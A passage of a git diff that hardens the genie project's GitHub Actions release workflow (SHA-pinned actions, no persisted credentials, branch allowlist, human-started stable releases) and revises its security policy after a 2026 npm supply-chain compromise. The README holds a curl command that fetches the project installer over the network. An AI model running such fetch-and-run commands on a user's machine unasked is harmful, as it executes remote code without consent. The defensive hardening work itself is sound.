steps.commit_and_tag.outputs.release_ready || steps.promoted_tag.outputs.release_ready }} + version: ${{ steps.commit_and_tag.outputs.version || steps.promoted_tag.outputs.version }} + channel: ${{ steps.commit_and_tag.outputs.channel || steps.promoted_tag.outputs.channel }} + source_sha: ${{ steps.commit_and_tag.outputs.source_sha || steps.promoted_tag.outputs.source_sha }} + source_branch: ${{ steps.commit_and_tag.outputs.source_branch || steps.promoted_tag.outputs.source_branch }} + source_ci_run_id: ${{ steps.commit_and_tag.outputs.source_ci_run_id || steps.promoted_tag.outputs.source_ci_run_id }} if: >- - (github.event_name == 'workflow_dispatch') || (github.event.workflow_run.conclusion == 'success' && github.event.workflow_run.event == 'push' && !contains(github.event.workflow_run.head_commit.message, '[auto-version]') && + !contains(github.event.workflow_run.head_commit.message, '[release-manifest]') && ( (github.event.workflow_run.head_branch == 'main') || (github.event.workflow_run.head_branch == 'homolog') || @@ -78,7 +87,7 @@ jobs: - name: Determine branch and version prefix id: context run: | - BRANCH="${{ github.event.workflow_run.head_branch || 'dev' }}" + BRANCH="${{ github.event.workflow_run.head_branch }}" case "$BRANCH" in main) # Main push: tag whatever release.yml just landed. @@ -98,12 +107,16 @@ jobs: echo "branch=homolog" >> "$GITHUB_OUTPUT" echo "should_bump=false" >> "$GITHUB_OUTPUT" ;; - *) - # Dev push (or manual dispatch): derive + bump. + dev) + # Dev push: derive + bump. # Channel: dev (advances dev only). echo "branch=dev" >> "$GITHUB_OUTPUT" echo "should_bump=true" >> "$GITHUB_OUTPUT" ;; + *) + echo "::error ::release-trigger.branch_untrusted unsupported branch '${BRANCH}'" + exit 1 + ;; esac # v5 version scheme: 5.YYMMDD.N (daily counter preserved from v4; # only the leading major moved). Must stay in sync with the local @@ -111,23 +124,23 @@ jobs: echo "prefix=5" >> "$GITHUB_OUTPUT" echo "Resolved: branch=${BRANCH}" - - uses: actions/checkout@v5 + - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5 with: # Pin to the SHA that triggered CI, not the moving branch HEAD, # so back-to-back merges never publish a sibling commit's build. - # workflow_dispatch has no workflow_run.head_sha — fall back to - # github.sha (the dispatched ref's HEAD). - ref: ${{ github.event.workflow_run.head_sha || github.sha }} + ref: ${{ github.event.workflow_run.head_sha }} fetch-depth: 0 - token: ${{ secrets.GITHUB_TOKEN }} + # The triggering commit is data until its successful push-CI identity + # is bound below. Never leave a write credential in this checkout. + persist-credentials: false # Promotion gate for the no-bump (main/homolog) path. A promotion is a # push whose head commit is a dev merge commit ("Merge pull request … # /dev") OR whose content equals dev's tip — the latter is what a # rebase- or squash-merged dev→main PR produces (no merge commit, so - # message checks can never see it). `.well-known` is excluded from the - # content diff: release-publish commits channel manifests to main only, - # so a rebased promotion's tree always differs from dev exactly there. + # message checks can never see it). The three generated channel manifests + # are excluded from the content diff: release-publish commits them to main + # only, so a rebased promotion's tree always differs from dev there. # If dev advanced past the PR head before this runs, the content check # misses and we skip with a notice — the next promotion catches up # (same posture as the atomic tag-push race below). @@ -143,7 +156,10 @@ jobs: REASON="dev merge commit" else git fetch origin dev --quiet - if git diff --quiet origin/dev HEAD -- ':(exclude).well-known'; then + if git diff --quiet origin/dev HEAD -- . \ + ':(exclude).well-known/latest.json' \ + ':(exclude).well-known/homolog.json' \ + ':(exclude).well-known/dev.json'; then PROMOTED=true REASON="content matches dev tip (rebase/squash promotion)" fi @@ -155,13 +171,6 @@ jobs: echo "::notice ::release-trigger.promotion_unverified head commit is neither a dev merge commit nor content-identical to dev — stable/homolog dispatch skipped" fi - - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2 - with: - bun-version: "1.3.10" - - - name: Install dependencies - run: bun install --frozen-lockfile - - name: Configure git if: steps.context.outputs.should_bump == 'true' run: | @@ -181,127 +190,149 @@ jobs: echo "build_number=${BUILD_NUMBER}" >> "$GITHUB_OUTPUT" echo "Derived version: ${VERSION}" - - name: Sync all version files + # SECURITY: every command in this step is trusted workflow control loaded + # from main. Do not run package scripts, dependency installers, hooks, or + # any executable from the dev checkout in this write-capable workflow. + - name: Synchronize the exact six version fields if: steps.context.outputs.should_bump == 'true' - run: bun run version env: - GENIE_BUILD_NUMBER: ${{ steps.version.outputs.build_number }} - - - name: Format versioned JSON (Biome) - if: steps.context.outputs.should_bump == 'true' + VERSION: ${{ steps.version.outputs.version }} run: | - bunx biome format --write package.json plugins/genie/.claude-plugin/plugin.json plugins/genie/.codex-plugin/plugin.json plugins/genie/package.json .claude-plugin/marketplace.json 2>/dev/null || true + set -euo pipefail + JSON_FILES=( + package.json + plugins/genie/.claude-plugin/plugin.json + plugins/genie/.codex-plugin/plugin.json + plugins/genie/package.json + ) + MARKETPLACE=.claude-plugin/marketplace.json + HERMES=plugins/hermes-genie/plugin.yaml - - name: Commit and tag - if: steps.context.outputs.should_bump == 'true' - run: | - VERSION="${{ steps.version.outputs.version }}" - BRANCH="${{ steps.context.outputs.branch }}" + # Validate every input before the first write. Symlinks are rejected + # so an allowlisted path cannot redirect a trusted rewrite. + for path in "${JSON_FILES[@]}" "$MARKETPLACE" "$HERMES"; do + if [[ ! -f "$path" || -L "$path" ]]; then + echo "::error ::release-version.invalid_path ${path} must be a regular non-symlink file" + exit 1 + fi + done + for path in "${JSON_FILES[@]}"; do + jq -e 'type == "object" and (.version | type == "string")' "$path" >/dev/null || { + echo "::error ::release-version.invalid_json ${path} needs one top-level string version" + exit 1 + } + done + jq -e ' + type == "object" and + (.plugins | type == "array") and + ([.plugins[]? | select(type == "object" and .name == "genie")] | length) == 1 and + ([.plugins[]? | select(type == "object" and .name == "genie")][0].version | type == "string") + ' "$MARKETPLACE" >/dev/null || { + echo "::error ::release-version.invalid_marketplace expected exactly one versioned genie entry" + exit 1 + } + if [[ "$(grep -Ec '^version: [^[:space:]]+$' "$HERMES")" != 1 ]]; then + echo "::error ::release-version.invalid_yaml ${HERMES} needs exactly one top-level version" + exit 1 + fi - git add -A '*.json' 'src/lib/version.ts' - if git diff --cached --quiet; then - echo "No version changes to commit" - else - git commit -m "chore(version): bump to ${VERSION} [auto-version]" + for path in "${JSON_FILES[@]}"; do + tmp="$(mktemp)" + jq --arg version "$VERSION" '.version = $version' "$path" > "$tmp" + mv "$tmp" "$path" + done + tmp="$(mktemp)" + jq --arg version "$VERSION" ' + .plugins |= map(if type == "object" and .name == "genie" then .version = $version else . end) + ' "$MARKETPLACE" > "$tmp" + mv "$tmp" "$MARKETPLACE" + tmp="$(mktemp)" + sed -E "s/^version: [^[:space:]]+$/version: ${VERSION}/" "$HERMES" > "$tmp" + mv "$tmp" "$HERMES" + + VERSION_PATHS=("${JSON_FILES[@]}" "$MARKETPLACE" "$HERMES") + git add -- "${VERSION_PATHS[@]}" + EXPECTED="$(printf '%s\n' "${VERSION_PATHS[@]}" | LC_ALL=C sort)" + ACTUAL="$(git diff --cached --name-only -- | LC_ALL=C sort)" + if [[ "$ACTUAL" != "$EXPECTED" ]]; then + echo "::error ::release-version.delta_untrusted expected exactly six version files" + printf 'expected:\n%s\nactual:\n%s\n' "$EXPECTED" "$ACTUAL" >&2 + exit 1 fi + - name: Commit and bind the version-only child + if: steps.context.outputs.should_bump == 'true' + id: version_child + env: + VERSION: ${{ steps.version.outputs.version }} + run: | + set -euo pipefail + git commit --no-verify -m "chore(version): bump to ${VERSION} [auto-version]" + PARENT_SHA="$(git rev-parse HEAD^)" + if [[ "$PARENT_SHA" != "${{ github.event.workflow_run.head_sha }}" ]]; then + echo "::error ::release-version.parent_mismatch version child is not based on the successful CI head" + exit 1 + fi git tag "v${VERSION}" + echo "source_sha=$(git rev-parse HEAD)" >> "$GITHUB_OUTPUT" + + # This is the only dev-bump step that receives a credential. All source + # data has already been rewritten and committed by trusted inline control; + # no source-controlled executable runs after authentication is installed. + - name: Atomically push the CI-bound dev release identity + if: steps.context.outputs.should_bump == 'true' + id: commit_and_tag + env: + GH_TOKEN: ${{ github.token }} + VERSION: ${{ steps.version.outputs.version }} + SOURCE_SHA: ${{ steps.version_child.outputs.source_sha }} + SOURCE_CI_RUN_ID: ${{ github.event.workflow_run.id }} + TRIGGER_SHA: ${{ github.event.workflow_run.head_sha }} + run: | + set -euo pipefail + gh auth setup-git # If dev advanced past the SHA we checked out, --atomic rejects # the push. That's the desired Invariant A behavior: skip rather # than mis-tag. Emit a structured notice so the skip is visible # in CI logs and detector-greppable. The next merge's run catches # up. - SHORT_SHA="${GITHUB_SHA:0:7}" - if ! git push --atomic origin "HEAD:refs/heads/${BRANCH}" "refs/tags/v${VERSION}"; then + SHORT_SHA="${TRIGGER_SHA:0:7}" + if ! git push --atomic origin "HEAD:refs/heads/dev" "refs/tags/v${VERSION}"; then echo "::notice ::release-race.next-tag-pin-skipped.detected dev advanced past triggering SHA ${SHORT_SHA}; tag push skipped — next merge will republish" exit 0 fi echo "tag_pushed=true" >> "$GITHUB_OUTPUT" - id: commit_and_tag - - # Dispatches the full release pipeline (build → sign-attest → - # publish) via release.yml's workflow_dispatch entry. Triggered - # after a tag push since GITHUB_TOKEN-pushed tags don't fire - # push:tags workflows (anti-recursion guard — see GitHub docs: - # "Triggering a workflow from a workflow"). workflow_dispatch and - # repository_dispatch are the documented exceptions — both CAN be - # invoked by GITHUB_TOKEN, so this step kicks the orchestrator - # without requiring a PAT. - # - # `--ref refs/tags/v${VERSION}` makes release.yml check out the - # tagged commit; each called workflow then inherits that ref. The - # cosign keyless OIDC SAN URI for binary tarballs stays bound to - # `sign-attest.yml@refs/tags/v` (Decision #1 — cosign - # step ownership preserved) which matches install.sh:24's pin. - # - # The bump-path dispatch below only fires on dev (should_bump=true, - # channel=dev → prerelease). The main/homolog no-bump path needs its - # OWN dispatch to publish the stable/homolog channel — see the - # "promoted tag" step further down. Gating the ONLY stable-channel - # dispatch behind should_bump==true is what froze the stable - # .well-known/latest.json pointer at v4.260511.5: every main merge - # ran Version, resolved branch=main, then skipped every step. - - name: Trigger release pipeline for the new tag - if: steps.context.outputs.should_bump == 'true' && steps.commit_and_tag.outputs.tag_pushed == 'true' - env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - run: | - VERSION="${{ steps.version.outputs.version }}" - TAG="refs/tags/v${VERSION}" - # Canonical channel taxonomy (Felipe directive 2026-05-12, - # unified across the automagik sibling projects): - # main → stable → .well-known/latest.json - # homolog → homolog → .well-known/homolog.json - # dev/* → dev → .well-known/dev.json - # The branch identity comes from steps.context.outputs.branch, - # which was already resolved from workflow_run.head_branch - # (or the 'dev' default for workflow_dispatch). genie may not - # have an active homolog branch yet; the case is wired for - # cross-repo parity + future operator dispatch. - BRANCH="${{ steps.context.outputs.branch }}" - case "$BRANCH" in - main) CHANNEL="stable" ;; - homolog) CHANNEL="homolog" ;; - *) CHANNEL="dev" ;; - esac - echo "Dispatching release pipeline against ${TAG} (channel=${CHANNEL})..." - # The dispatch is fire-and-forget — release.yml sequences the - # build → sign-attest → publish chain inside a single run via - # workflow_call. A failed dispatch is a release-pipeline - # outage; surface loudly. - if ! gh workflow run release.yml --repo "${GITHUB_REPOSITORY}" --ref "${TAG}" --field version="${VERSION}" --field channel="${CHANNEL}"; then - echo "::error ::release-trigger.dispatch_failed release.yml dispatch failed for ${TAG} — investigate gh CLI auth or workflow availability before re-running manually" + # GITHUB_TOKEN-authored pushes do not trigger CI recursively. Run the + # read-only gate at the immutable tag (never moving dev) so the exact + # version child receives the Quality Gate required for promotion. + if ! gh workflow run ci.yml --repo "${GITHUB_REPOSITORY}" --ref "v${VERSION}"; then + echo "::error ::release-trigger.child_ci_dispatch_failed CI dispatch failed for exact child v${VERSION}" exit 1 fi + echo "release_ready=true" >> "$GITHUB_OUTPUT" + echo "version=${VERSION}" >> "$GITHUB_OUTPUT" + echo "channel=dev" >> "$GITHUB_OUTPUT" + echo "source_sha=${SOURCE_SHA}" >> "$GITHUB_OUTPUT" + echo "source_branch=dev" >> "$GITHUB_OUTPUT" + echo "source_ci_run_id=${SOURCE_CI_RUN_ID}" >> "$GITHUB_OUTPUT" - # Stable/homolog publish — the no-bump path (a main or homolog - # merge). should_bump=false here: package.json already carries the - # dev-derived version the promotion brought over, and the dev chain - # already pushed tag v. We do NOT bump, commit, or push a - # tag — we only re-dispatch release.yml against the EXISTING tag with - # the stable (or homolog) channel so .well-known/latest.json - # advances. This is the ONLY code path that publishes the stable - # channel; without it a main merge produces no stable release. - - name: Trigger release pipeline for the promoted tag (stable/homolog) + # The no-bump path only resolves an existing dev-derived tag. Homolog is + # dispatched automatically below. Stable deliberately is not: if this + # GITHUB_TOKEN-authored workflow initiated the production deployment, + # GitHub's prevent-self-review control would exclude only the bot, not the + # maintainer who authored/promoted the change. A human workflow_dispatch + # makes that human the deployment initiator, so production approval must + # come from a different configured reviewer. + - name: Resolve promoted tag identity + id: promoted_tag if: steps.context.outputs.should_bump == 'false' && steps.promotion.outputs.promoted == 'true' - env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: | - VERSION="$(bun --print "require('./package.json').version")" - if [ -z "${VERSION}" ] || [ "${VERSION}" = "null" ] || [ "${VERSION}" = "undefined" ]; then + set -euo pipefail + VERSION="$(jq -er '.version | select(type == "string")' package.json)" + if [[ ! "$VERSION" =~ ^5\.[0-9]{6}\.[1-9][0-9]{0,3}$ ]]; then echo "::error ::release-trigger.version_unresolved package.json has no version on the no-bump path — promotion is malformed" exit 1 fi - TAG="refs/tags/v${VERSION}" - # Canonical channel taxonomy (Felipe directive 2026-05-12): - # main → stable → .well-known/latest.json - # homolog → homolog → .well-known/homolog.json - BRANCH="${{ steps.context.outputs.branch }}" - case "$BRANCH" in - main) CHANNEL="stable" ;; - homolog) CHANNEL="homolog" ;; - *) CHANNEL="dev" ;; - esac # The dev chain that derived this version must have already # pushed v${VERSION}. If it is missing, the promotion raced ahead # of the dev tag — surface loudly rather than dispatch a tag @@ -310,17 +341,49 @@ jobs: echo "::error ::release-trigger.tag_missing v${VERSION} not on origin — dev derivation chain has not landed its tag; re-run after the dev release completes" exit 1 fi - echo "Dispatching release pipeline against ${TAG} (channel=${CHANNEL})..." - if ! gh workflow run release.yml --repo "${GITHUB_REPOSITORY}" --ref "${TAG}" --field version="${VERSION}" --field channel="${CHANNEL}"; then - echo "::error ::release-trigger.dispatch_failed release.yml dispatch failed for ${TAG} (channel=${CHANNEL}) — investigate gh CLI auth or workflow availability before re-running manually" - exit 1 - fi + echo "version=${VERSION}" >> "$GITHUB_OUTPUT" + echo "source_sha=$(git rev-parse HEAD)" >> "$GITHUB_OUTPUT" + echo "source_branch=${{ steps.context.outputs.branch }}" >> "$GITHUB_OUTPUT" + echo "source_ci_run_id=${{ github.event.workflow_run.id }}" >> "$GITHUB_OUTPUT" + case "${{ steps.context.outputs.branch }}" in + main) + echo "channel=stable" >> "$GITHUB_OUTPUT" + echo "release_ready=false" >> "$GITHUB_OUTPUT" + ;; + homolog) + echo "channel=homolog" >> "$GITHUB_OUTPUT" + echo "release_ready=true" >> "$GITHUB_OUTPUT" + ;; + esac + + - name: Require human initiation for stable release + if: >- + steps.context.outputs.should_bump == 'false' && + steps.promotion.outputs.promoted == 'true' && + steps.context.outputs.branch == 'main' + env: + VERSION: ${{ steps.promoted_tag.outputs.version }} + SOURCE_SHA: ${{ steps.promoted_tag.outputs.source_sha }} + SOURCE_CI_RUN_ID: ${{ steps.promoted_tag.outputs.source_ci_run_id }} + run: | + set -euo pipefail + echo "::notice ::release-trigger.stable_manual_approval_required v${VERSION} passed main CI; a maintainer must start Release and a different maintainer must approve production" + { + printf '%s\n' '## Stable release awaiting maintainer initiation' + printf '%s\n' 'Open **Actions → Release → Run workflow** on `main` and provide:' + printf '%s\n' "- version: \`${VERSION}\`" + printf '%s\n' '- channel: `stable`' + printf '%s\n' "- source_sha: \`${SOURCE_SHA}\`" + printf '%s\n' '- source_branch: `main`' + printf '%s\n' "- source_ci_run_id: \`${SOURCE_CI_RUN_ID}\`" + printf '%s\n' '' 'The initiator cannot approve the protected production environment.' + } >> "$GITHUB_STEP_SUMMARY" # npm distribution was discontinued 2026-05-09 (wish # genie-distribution-cutover G6). The previous npm-publish, audit, # and deprecate steps have been deleted. Tag pushes from this - # workflow drive release.yml via the gh-workflow-run dispatch - # above; release.yml then sequences build-tarballs + sign-attest + + # workflow drive the reusable release job below; release.yml then + # sequences build-tarballs + sign-attest + # release-publish in one run via workflow_call (wish: # release-pipeline-collapse). # The npm OIDC trusted-publisher entry on npmjs.com and any @@ -328,3 +391,23 @@ jobs: # removed from repo + org settings. # See docs/release-process.mdx for the full posture and the # operator-side `npm deprecate` runbook. + + # Automated dev/homolog publication is a local reusable-workflow call from + # trusted version.yml on main. A dev-controlled workflow cannot forge this + # caller identity or choose a version/tag. Stable never uses this job. + release-automated: + name: Release ${{ needs.auto-version.outputs.channel }} v${{ needs.auto-version.outputs.version }} + needs: auto-version + if: needs.auto-version.outputs.release_ready == 'true' + uses: ./.github/workflows/release.yml + permissions: + contents: write + actions: read + id-token: write + attestations: write + with: + version: ${{ needs.auto-version.outputs.version }} + channel: ${{ needs.auto-version.outputs.channel }} + source_sha: ${{ needs.auto-version.outputs.source_sha }} + source_branch: ${{ needs.auto-version.outputs.source_branch }} + source_ci_run_id: ${{ needs.auto-version.outputs.source_ci_run_id }} diff --git a/.well-known/security.txt b/.well-known/security.txt index 1f7555916..c2bb7e322 100644 --- a/.well-known/security.txt +++ b/.well-known/security.txt @@ -21,14 +21,13 @@ Acknowledgments: https://github.com/automagik-dev/genie/blob/main/SECURITY.md#ac # to pin — operators cross-check the three lines below against SECURITY.md and # the pinned GitHub issue. See: # - https://github.com/automagik-dev/genie/blob/main/SECURITY.md#release-signing--pinned-identity-cosign-keyless -# - https://github.com/automagik-dev/genie/blob/main/docs/security/key-rotation.md # - https://github.com/automagik-dev/genie/issues?q=is%3Aissue+label%3Apinned+label%3Asigning-identity # BEGIN SIGNING_IDENTITY_PIN -# certificate-identity-regexp: ^https://github.com/automagik-dev/genie/.github/workflows/sign-attest.yml@ +# certificate-identity-regexp: ^https://github\.com/automagik-dev/genie/\.github/workflows/sign-attest\.yml@refs/heads/main$ # certificate-oidc-issuer: https://token.actions.githubusercontent.com # provenance source-uri: github.com/automagik-dev/genie # END SIGNING_IDENTITY_PIN # Incident response for the 2026-04 CanisterWorm compromise: -# https://github.com/automagik-dev/genie/blob/main/docs/incident-response/canisterworm.md +# https://automagik.dev/security diff --git a/README.md b/README.md index 3b61730b7..7fc22c697 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@

Wishes in, PRs out.

- release + signed release channels stars license discord @@ -25,6 +25,8 @@ curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh Every release is cosign-signed (keyless OIDC) with SLSA provenance; the installer verifies the binary — via `gh attestation verify`, falling back to `cosign verify-blob` — before it runs. +The repository-hosted `.well-known/latest.json`, `homolog.json`, and `dev.json` manifests are the authoritative channel pointers. GitHub's `/releases/latest` route and prerelease badge are deliberately not channel authority: a promotion advances only a monotonic manifest and never rewrites already-published assets or channel-significant draft/prerelease/latest metadata. + The installer detects Claude Code and Codex and installs the version-matched Genie plugin for each. Control this with `--integrations auto|codex|claude|all|none` or `--skip-integrations`. When Codex is selected, the installed plugin is the **only** Genie-managed skill provider: a fresh install writes zero Genie product skills into `~/.agents/skills/` and requires one enabled, exact-version plugin with a usable MCP launcher and complete skill payload before it mutates anything. An upgrade from a release that still seeded user-tier fallbacks quarantines only provably clean historical copies — and only after a single post-convergence plugin health proof passes; same-name unmanaged, modified, malformed-marker, or symlinked user copies are preserved in place and reported as user-owned collisions. Automatic integration failures warn after the verified binary succeeds; explicitly requested failures are fatal. From inside a repo, run `genie init`. Use `genie setup --codex` to explicitly install or repair the Codex plugin, seven optional role-agent profiles, MCP routing, and the backup-first dead-OTel migration. A successful Codex setup also persists Codex maintenance consent: later, explicit `genie update` runs may refresh those Codex integration surfaces. That consent never writes new product skills into the user tier, never makes personal or modified skills managed, and it gives no authority to hooks. `genie update` is the explicit update/convergence path. When crossing from a release older than `5.260711.6` to `5.260711.6` or later, let the first update finish and run `genie update` one more time: the first process may only deliver the new binary/payload, while the second runs the new convergence contract. If the older release had seeded clean user-tier fallbacks, the convergence run retires them into a hidden quarantine transaction (see [Codex fallback quarantine and recovery](#codex-fallback-quarantine-and-recovery)) once one health proof passes. Verify that the plugin exposes exactly H3/H4/H6, then review their hashes with `/hooks` and start a new task. Later updates converge in one operator-driven path. No Codex hook or Claude SessionStart hook installs software, refreshes plugins, synchronizes skills, stamps workflows, or writes project instructions. @@ -221,7 +223,7 @@ v5 is a deliberate cutover to a lightweight body. The v4 harness — a Postgres

Docs · - Releases · + Releases · Discord · MIT License

diff --git a/SECURITY.md b/SECURITY.md index 6abe25ab3..6f602ee21 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -33,41 +33,19 @@ We will credit reporters publicly (with their permission) in the released adviso | Version line | Status | |--------------|--------| -| `4.260422.x` and later | ✅ Supported — current | -| `4.260421.1` – `4.260421.32` | ⚠️ Legacy — security patches only | +| `5.x` | ✅ Supported — current GitHub Releases line | | `4.260421.33` – `4.260421.40` | ❌ **COMPROMISED — do not use** | -| `4.260420.x` and earlier 4.x releases | ❌ End of life | +| All other `4.x` releases | ❌ End of life — npm distribution is retired | | `3.x` | ❌ End of life | | `0.x` | ❌ End of life | -Always install from the current stable line. Pin explicit versions in your `package.json` and avoid `latest` for supply-chain sensitive packages. +Install the current stable 5.x line through the repository installer. The repository-hosted stable manifest, not an npm tag or GitHub's `/releases/latest` route, selects the stable version. --- -## Self-Service Host Triage +## Host triage -If you installed a compromised version or need to assess a workstation, developer VM, CI runner, or WSL environment, start with: - -```bash -genie sec scan --all-homes --root "$PWD" -``` - -Add one `--root` per repository or application directory you want scanned. Use `--json` for machine-readable output. - -Interpretation: - -- `LIKELY COMPROMISED` — execution, persistence, `.pth`, dropped payload, or live-process evidence exists. -- `LIKELY AFFECTED` — compromised versions were installed or fetched and the host should be treated as exposed. -- `OBSERVED ONLY` — logs, caches, or lockfiles reference the malicious versions, but stronger execution evidence was not found. -- `NO FINDINGS` — no incident-specific evidence was found in the scanned scope. - -The scanner inventories: - -- compromised versions in npm and bun caches plus installed package directories -- shell history, shell startup files, persistence locations, Python `.pth` injection paths, temp drops, and suspicious live processes -- `at-risk local material present on host` so operators can see which secret stores, browser profiles, wallets, and local app files were present and should be considered during rotation - -If `genie` is not available, use the manual procedure in the incident response guide below. +The current Genie CLI does not contain a host-compromise scanner. If a host may have executed a compromised version, isolate it, preserve volatile and filesystem evidence, consult the current public advisory or GitHub Security Advisory, and rotate exposed credentials from a separate trusted host. Do not install another Genie build on the affected host as a substitute for incident-response tooling. --- @@ -82,11 +60,10 @@ Between 2026-04-21 (~22:14 UTC) and 2026-04-22 (~14:00 UTC), versions `4.260421. - **Estimated base affected:** ≤ 2% of weekly download volume - **Current status:** malicious versions `npm unpublish`-ed and no longer installable -**If you installed any version in that range between April 21–22, 2026, run `genie sec scan --all-homes --root "$PWD"` immediately.** If the host shows `LIKELY COMPROMISED` or `LIKELY AFFECTED`, follow the remediation guide linked below. +**If you installed any version in that range between April 21–22, 2026, treat the host as potentially affected.** Isolate it, preserve evidence, and follow the current public advisory or contact the security team above from a separate trusted host. **Resources:** -- 📖 [Incident response manual](./docs/incident-response/canisterworm.mdx) - 🌐 [Public advisory (English)](https://automagik.dev/security) - 🌐 [Aviso público (Português)](https://automagik.dev/seguranca) - 🛡️ [GitHub Security Advisories](https://github.com/automagik-dev/genie/security/advisories) for this repository @@ -108,27 +85,18 @@ We also thank the Automagik team that ran the end-to-end response during the inc ## Our Commitments -Effective 2026-04-23, all `@automagik/genie` releases are governed by: +Current 5.x GitHub Releases are governed by: -- **Provenance attestation** — every publication is signed with `npm --provenance` and verifiable via Sigstore. -- **OIDC trusted publishing** — migrating to GitHub Actions OIDC publish, eliminating long-lived npm tokens. (in progress) -- **Mandatory 2FA** on every maintainer account with publish rights. -- **Environment protection** — production publishes require manual approval from a second maintainer. -- **Quarterly token audit** — scope and permission review. -- **External pentest** — scheduled ahead of the original roadmap. +- **Per-platform verification material** — every tarball has a cosign keyless bundle, SLSA provenance, and a GitHub-native attestation bound to the release source and trusted workflow control. +- **OIDC signing** — release signing uses GitHub Actions OIDC; there is no long-lived signing key. +- **Environment protection** — stable publication requires the protected production environment approval described below. +- **Immutable publication** — published asset bytes are never replaced; repository-hosted channel manifests advance only after exact remote verification. --- -## Scanner and Remediation Invariants +## Host remediation -The security-tooling surface shipped with `@automagik/genie` is governed by four architectural invariants. Any change that weakens an invariant requires a security-reviewed PR and a SECURITY.md entry documenting the regression. - -- **The scanner is read-only by design.** `genie sec scan`, `genie sec print-cleanup-commands`, and `genie sec quarantine list` inspect the host and emit findings — they never mutate state on the scanned target. `GENIE_SEC_SCAN_DISABLED=1` is honored as a global opt-out; the scanner never bypasses it. -- **`genie sec remediate` is the only mutating verb.** Any future mutating subcommand MUST obey the same six-part contract: (1) dry-run default — `--apply` is opt-in; (2) frozen plan manifest — actions are materialized once and consented to once; (3) typed per-action consent — the operator acknowledges each mutation class verbatim, not a blanket yes/no; (4) quarantine-by-move — nothing is deleted without a recoverable copy under `$GENIE_SEC_QUARANTINE_DIR`; (5) signed-channel verification — `genie sec verify-install` must pass before `--apply` proceeds, or the invocation must use the `--unsafe-unverified ` escape hatch with a typed ack; (6) audit-log append-only — every action lands in `$GENIE_SEC_AUDIT_LOG` with a monotonic sequence number and cannot be rewritten in place. -- **Distribution-channel risk is declared, not hidden.** `@automagik/genie` appears on the scanner's own IOC list for the CanisterWorm compromise window (see [Supported Versions](#supported-versions)). Operators are advised to (a) pin to a post-incident release from the current stable line, (b) run `genie sec verify-install` after install to confirm the binary matches the signed release identity, and (c) treat any `--unsafe-unverified` invocation as an incident — it must be recorded in the audit log with a typed `I_ACKNOWLEDGE_UNSIGNED_GENIE_` ack and a matching post-mortem. "The prompt is annoying" is explicitly not a legitimate context for `--unsafe-unverified` — see [`docs/incident-response/canisterworm.md`](./docs/incident-response/canisterworm.mdx) for the allow-list. -- **IOC-list freshness is tied to release cadence.** The scanner's IOC catalogue is baked into the shipped binary; there is no mutable online IOC feed to race against. Operators responding to a fresh advisory must upgrade to a release whose CHANGELOG references the new IOC set, then re-run `genie sec scan --all-homes --root /`. The incident runbook tells operators when to pin to a specific post-incident release. - -These invariants apply to every release from `4.260422.x` forward. Legacy lines (`4.260421.x`) predate the invariants and are listed under Supported Versions with appropriate status. +The current Genie CLI does not ship a `genie sec` command. Do not treat older roadmap text, copied commands, or a successful Genie install as host-compromise clearance. Verify release artifacts with the repository script below; for incident investigation or remediation, preserve evidence and follow the current public advisory or contact the security address above. There is no supported flag that bypasses failed release verification. --- @@ -136,10 +104,14 @@ These invariants apply to every release from `4.260422.x` forward. Legacy lines `@automagik/genie` releases are signed with **cosign keyless** via GitHub Actions OIDC. There is no long-lived public key to pin — no private key in repo secrets, no hardware-backed offline key, no two-officer key-custody ceremony. What operators pin instead is the **certificate identity + OIDC issuer + provenance source-uri** tuple that `cosign verify-blob` and `slsa-verifier` must accept. If all three values match across all three pinning channels, the release was signed by the repo's own Actions workflow and by nothing else. +Release-channel authority comes from the repository-hosted `.well-known/latest.json`, `homolog.json`, and `dev.json` manifests. GitHub's `/releases/latest` route and prerelease label are non-authoritative. Promotion advances only the eligible monotonic manifest after exact remote asset verification; it never replaces published bytes or edits published draft/prerelease/latest state. A fixed migration caveat may be appended to human-authored release notes. This separation permits repository-level immutable releases while retaining one verified version across dev, homolog, and stable channels. + +Immutable-release cutover order is security-critical. Seal the candidate and drain every Version and Release run started under the old `main` workflows before enabling repository immutability; enable it before the separately approved merge to `main`. Immutability protects only releases created after enablement, so any release published by the mutable predecessor must fail closed and must not advance a channel manifest. The first version eligible for stable promotion after cutover must be freshly built and published by the merged draft-first release control. + ``` -certificate-identity-regexp: ^https://github.com/automagik-dev/genie/.github/workflows/sign-attest.yml@ +certificate-identity-regexp: ^https://github\.com/automagik-dev/genie/\.github/workflows/sign-attest\.yml@refs/heads/main$ certificate-oidc-issuer: https://token.actions.githubusercontent.com provenance source-uri: github.com/automagik-dev/genie ``` @@ -152,21 +124,22 @@ provenance source-uri: github.com/automagik-dev/genie |---------|------------|---------| | In-repo canonical | [`SECURITY.md`](./SECURITY.md) (this file) | Ships with every release tarball; read-only after tag | | Project site | [`/.well-known/security.txt`](./.well-known/security.txt) | RFC 9116 discovery path served at the project site | -| Out-of-band | [Pinned issue: `SIGNING_CERT_IDENTITY_*`](https://github.com/automagik-dev/genie/issues?q=is%3Aissue+label%3Apinned+label%3Asigning-identity) | Independent mirror; rotated via two-officer PR per [`docs/security/key-rotation.md`](./docs/security/key-rotation.mdx) | +| Out-of-band | [Pinned issue: `SIGNING_CERT_IDENTITY_*`](https://github.com/automagik-dev/genie/issues?q=is%3Aissue+label%3Apinned+label%3Asigning-identity) | Independent mirror for cross-checking identity changes | -A fourth in-repo witness — [`.github/cosign.pub`](./.github/cosign.pub) — carries the same values inside a NO-PINNED-KEY sentinel so tooling that naively reads a PEM file fails closed rather than trusting a fabricated key. The CI gate (`scripts/check-fingerprint-pinning.sh`) asserts all four witnesses agree on every PR that touches any of them. +A fourth in-repo witness — [`.github/cosign.pub`](./.github/cosign.pub) — carries the same values inside a NO-PINNED-KEY sentinel so tooling that naively reads a PEM file fails closed rather than trusting a fabricated key. The shipped verifier and installer are the fifth and sixth required in-repo witnesses. The CI gate (`scripts/check-fingerprint-pinning.sh`) asserts all six required in-repo witnesses agree on every PR that touches any of them. ### Verify a release locally -The canonical verification entry point is `scripts/verify-release.sh`, which wraps `cosign verify-blob` + `slsa-verifier` using the pinned identity 